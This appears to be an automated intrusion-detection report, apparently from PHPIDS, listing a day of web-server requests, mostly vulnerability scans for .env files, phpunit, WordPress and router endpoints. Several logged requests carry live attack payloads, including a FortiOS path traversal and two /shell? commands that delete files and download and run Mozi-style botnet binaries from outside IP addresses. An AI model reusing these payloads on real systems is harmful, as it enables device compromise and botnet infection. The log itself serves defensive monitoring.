Summary: one incident discovered from one client

	192.168.21.127 | 1 incident | impact ∑: 13	attacks only
	Description: A targeted scan 23 hours ago. A total of one incident was discovered by phpids detection modules.
Impact Tags Remote-City Remote-Host Remote-Logname Remote-User Date Request Final-Status Bytes-Sent Referer User-Agent 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 06:49:07 +0200 GET /login HTTP/1.1 404 456 - Mozilla/5.0 zgrab/0.x 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 07:14:11 +0200 GET /cgi-bin/luci HTTP/1.1 404 456 - Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20041001 Firefox/0.10.1 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 07:58:14 +0200 GET /webfig/ HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 08:20:07 +0200 GET /.env HTTP/1.1 404 456 - Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 08:20:08 +0200 GET /.env HTTP/1.1 404 456 - Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 08:20:11 +0200 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 404 456 - python-requests/2.25.1 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 08:23:27 +0200 GET / HTTP/1.1 200 4906 - Linux Gnu (cow) 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 08:41:47 +0200 GET / HTTP/1.1 200 91717 - Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 09:31:44 +0200 GET / HTTP/1.1 200 4906 - python-requests/2.28.1 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 10:38:55 +0200 GET / HTTP/1.1 200 4915 - Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 10:40:41 +0200 GET //favicon.ico HTTP/1.1 404 462 - python-requests/2.23.0 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 11:19:50 +0200 POST /HNAP1/ HTTP/1.1 404 456 - Mozila/5.0 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 11:50:09 +0200 GET / HTTP/1.1 200 91717 - Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 11:54:06 +0200 GET /showLogin.cc HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 12:25:02 +0200 GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application HTTP/1.1 404 456 - Mozilla/5.0 zgrab/0.x 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 12:28:47 +0200 GET /owa/auth/logon.aspx HTTP/1.1 404 456 - Mozilla/5.0 zgrab/0.x 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 12:34:28 +0200 GET /robots.txt HTTP/1.1 404 462 - Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 12:35:10 +0200 GET /test_404_page/ HTTP/1.1 404 462 - Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 12:38:39 +0200 GET /robots.txt HTTP/1.1 404 462 - Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 12:40:31 +0200 GET / HTTP/1.1 200 4906 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 12:42:07 +0200 GET //favicon.ico HTTP/1.1 404 462 - python-requests/2.23.0 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 12:42:26 +0200 GET / HTTP/1.1 200 4915 - Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 12:43:16 +0200 GET //favicon.ico HTTP/1.1 404 462 - python-requests/2.23.0 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 12:45:37 +0200 GET / HTTP/1.1 200 4915 - Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 12:46:23 +0200 GET //favicon.ico HTTP/1.1 404 462 - python-requests/2.23.0 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 12:49:09 +0200 GET / HTTP/1.1 200 4915 - Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 12:50:24 +0200 GET //favicon.ico HTTP/1.1 404 462 - python-requests/2.23.0 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 12:50:37 +0200 GET / HTTP/1.1 200 4915 - Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 12:51:21 +0200 GET //favicon.ico HTTP/1.1 404 462 - python-requests/2.23.0 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 13:12:46 +0200 POST /HNAP1/ HTTP/1.0 408 487 - - 13 dt id lfi xss csrf - 192.168.21.127 - - Wed, 10 Aug 2022 13:50:44 +0200 GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession HTTP/1.1 404 457 - Python-urllib/3.8 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 13:59:05 +0200 GET /vendor/phpunit/phpunit/src/Util/PHP/SpammerVip.php HTTP/1.1 404 462 - libwww-perl/6.13 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 13:59:16 +0200 GET /vendor/phpunit/phpunit/src/Util/PHP/index.php HTTP/1.1 404 462 - libwww-perl/6.13 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 13:59:21 +0200 GET /vendor/phpunit/phpunit/src/Util/PHP/SpammerVip.php HTTP/1.1 404 462 - libwww-perl/6.13 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 13:59:26 +0200 GET /vendor/phpunit/phpunit/src/Util/PHP/pct.php HTTP/1.1 404 462 - libwww-perl/6.13 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 13:59:32 +0200 GET /vendor/phpunit/phpunit/src/Util/PHP/index.php HTTP/1.1 404 462 - libwww-perl/6.13 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 13:59:38 +0200 GET /vendor/phpunit/phpunit/src/Util/PHP/gen.php HTTP/1.1 404 462 - libwww-perl/6.13 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 13:59:43 +0200 GET /vendor/phpunit/phpunit/src/Util/PHP/Index.php HTTP/1.1 404 462 - libwww-perl/6.13 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 13:59:49 +0200 GET /vendor/phpunit/phpunit/src/Util/PHP/PhpunitProcess.php HTTP/1.1 404 462 - libwww-perl/6.13 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 13:59:55 +0200 GET /vendor/phpunit/phpunit/src/Util/PHP/PHPunitProcess.php HTTP/1.1 404 462 - libwww-perl/6.13 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 14:00:00 +0200 GET /public/index2.php?info HTTP/1.1 404 462 - libwww-perl/6.13 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 14:00:06 +0200 GET /vendor/gen.php HTTP/1.1 404 462 - libwww-perl/6.13 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 14:00:11 +0200 GET /public/Index2.php HTTP/1.1 404 462 - libwww-perl/6.13 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 14:00:14 +0200 GET / HTTP/1.1 200 4906 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 14:00:22 +0200 GET /index2.php HTTP/1.1 404 209 - libwww-perl/6.13 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 14:20:54 +0200 GET / HTTP/1.1 200 91717 - Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 14:42:37 +0200 GET / HTTP/1.1 200 91717 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 14:42:37 +0200 GET /xmlrpc.php?rsd HTTP/1.1 404 209 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 14:42:37 +0200 GET /blog/wp-includes/wlwmanifest.xml HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 14:42:37 +0200 GET /wordpress/wp-includes/wlwmanifest.xml HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 14:42:38 +0200 GET /wp/wp-includes/wlwmanifest.xml HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 14:42:38 +0200 GET /wp1/wp-includes/wlwmanifest.xml HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 14:42:38 +0200 GET /wp2/wp-includes/wlwmanifest.xml HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 14:42:38 +0200 GET /cms/wp-includes/wlwmanifest.xml HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 15:09:18 +0200 GET / HTTP/1.1 200 91717 - - 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 15:35:46 +0200 GET /HNAP1/ HTTP/1.1 404 456 http://91.223.222.117/ Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 15:48:06 +0200 GET /version HTTP/1.1 404 456 - Mozilla/5.0 zgrab/0.x 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 16:08:20 +0200 GET /showLogin.cc HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 16:12:38 +0200 GET / HTTP/1.1 200 4906 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 16:40:53 +0200 GET / HTTP/1.1 200 91717 - Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 17:18:02 +0200 GET ///.env HTTP/1.1 404 456 - python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1160.el7.x86_64 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 17:21:10 +0200 OPTIONS / HTTP/1.0 200 202 - - 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 17:21:11 +0200 GET /nice ports,/Trinity.txt.bak HTTP/1.0 404 461 - - 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 17:21:57 +0200 GET / HTTP/1.0 200 91594 - - 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 17:21:57 +0200 GET / HTTP/1.1 200 91717 - - 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 17:21:57 +0200 GET /evox/about HTTP/1.1 404 456 - Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4217.2 Safari/537.36 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 17:34:25 +0200 GET /shell?cd /tmp;rm -rf *;wget http://27.45.95.12:48371/Mozi.a;chmod 777 Mozi.a;/tmp/Mozi.a jaws HTTP/1.1 404 456 - Hello, world 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 17:45:35 +0200 GET / HTTP/1.1 200 91717 - - 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 17:58:50 +0200 GET / HTTP/1.1 200 4906 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 18:36:49 +0200 GET / HTTP/1.1 200 4906 - Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/) 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 19:34:55 +0200 GET / HTTP/1.1 200 4906 - Linux Gnu (cow) 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 19:49:51 +0200 GET / HTTP/1.0 200 91589 - - 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 20:06:00 +0200 GET / HTTP/1.1 200 4906 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 20:42:51 +0200 GET / HTTP/1.1 200 91717 - Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 20:56:57 +0200 GET /.env HTTP/1.1 404 456 - Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 20:56:57 +0200 GET /.env HTTP/1.1 404 456 - Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 20:57:13 +0200 GET /shell?cd /tmp;rm -rf *;wget http://77.73.131.122/bins/aqua.mpsl;sh /tmp/aqua.mpsl HTTP/1.1 404 451 - Hello, world 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 21:19:00 +0200 GET / HTTP/1.1 200 4906 - python-requests/2.28.1 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 22:40:22 +0200 HEAD / HTTP/1.1 200 146 - Go-http-client/1.1 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 22:40:24 +0200 GET / HTTP/1.1 200 4915 - Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 22:40:24 +0200 GET /icons/text.gif HTTP/1.1 200 476 http://webproxy1.opennet.hu/ Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36 0 none - 192.168.21.127 - - Wed, 10 Aug 2022 23:18:03 +0200 GET / HTTP/1.1 200 4906 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36